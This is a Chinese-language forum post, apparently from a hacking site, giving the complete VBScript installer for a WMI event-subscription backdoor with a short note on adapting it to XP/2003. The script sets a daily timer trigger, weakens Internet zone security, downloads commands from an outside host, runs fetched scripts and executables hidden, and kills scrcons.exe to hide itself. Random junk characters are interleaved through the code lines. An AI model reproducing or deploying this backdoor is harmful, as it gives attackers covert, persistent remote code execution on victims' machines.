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完整的安装脚本代码如下:3 e9 G- ?* ^2 V. Q
Codz: / ^; U% A% \% `/ Q7 |
'***以下为参数配置,请根据情况自行修改***'
~) y4 i* h$ @nslink="winmgmts:\\.\root\cimv2:" '名字空间' 5 L0 t- M" i# j6 ^! N, a/ B8 h4 ~1 W
doorname="vbscript_backdoor" '记住后门的名字,卸载时需要'
! n r* `4 B) b8 e. F- ?- F+ h2 ]- i' Qruninterval=86400000 '每天运行一次'
1 y e% c2 ], j' W. c* F7 icmdu="http://myweb.8866.org/cmd.txt" '命令文件的位置'
; L. \/ w# D6 v. }" D% ecmdw=4000 '文件下载超时时间'
; I& F( q0 n; Hcmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '保存命令长度的键值名'
/ c* G* @" {3 r5 C'***参数配置结束***'
1 B' V- r/ n/ `4 K* X0 i& U$ S4 M0 |0 T5 D3 f+ l" G' N
createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD" 8 k6 v8 M* b5 _. W: i- A+ M
9 ~8 ~; i% |6 l4 {* a
'脚本后门核心代码'
& f6 ?/ p+ v% M, ~' K: ?7 I9 N0 h* Dstxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""" n error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"":set1=zone&""\1201"":set2=zone&""\1400"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub"
" b. n& J; h$ p Z
' ]- F+ j4 I( I4 u7 J% S! F'配置事件消费者'
2 O5 m! X0 a5 C, Vset asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_ / P6 ?1 ~8 j0 s
asec.name=doorname&"_consumer" 1 e# Y7 a( b3 n6 O
asec.scriptingengine="vbscript"
. x8 _7 v4 b [asec.scripttext=stxt / b6 | b6 v* P3 l
set asecpath=asec.put_ / e+ k$ h; O: C; }2 G& o" {" w: c5 n
6 M5 k1 c* q8 |
'配置计时器'
, s( b+ N) v6 R( C: L, lset itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_ ) d% ~0 b5 h' J3 [1 e! m
itimer.timerid=doorname&"_itimer"
9 i; [8 a Q% r6 P8 P9 @itimer.intervalbetweenevents=runinterval
; p# S' _/ }: j% ritimer.skipifpassed=false 3 p0 m+ F3 o1 g9 A9 {
itimer.put_ . o. x" V2 O) Z8 K& }
7 s( V, L( D+ x* ~ Y'配置事件过滤器'
2 X3 A* B. a9 }$ V6 H' N" gset evtflt=getobject(nslink&"__EventFilter").spawninstance_ - Y* _. R- E( |' N4 D
evtflt.name=doorname&"_filter"
/ ?; T! g9 y O& ]8 _evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer""" . y4 I4 W- A4 @7 W, X# R; F; P/ q
evtflt.querylanguage="wql" ^# \* F2 O6 a: M9 [
set fltpath=evtflt.put_
. |7 p U5 U; ? L. `1 N7 E4 W% {( y/ |
'绑定消费者和过滤器'
; O- a w+ O1 p. _set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
; W' G: q0 @0 R; J( _3 A" Qfcbnd.consumer=asecpath.path 1 ~1 b1 u7 G: q& L
fcbnd.filter=fltpath.path * _1 k# P3 X+ t/ h/ b1 s1 A; ~$ f, H
fcbnd.put_
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) r3 |% ^+ ]7 K, A! e$ X( rwscript.echo "安装完成"
3 o7 V+ b3 K3 K' Z/ Z" b0 C" g+ Z8 R$ I4 ?8 S9 E* O) j( D) @" g
与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门了 |
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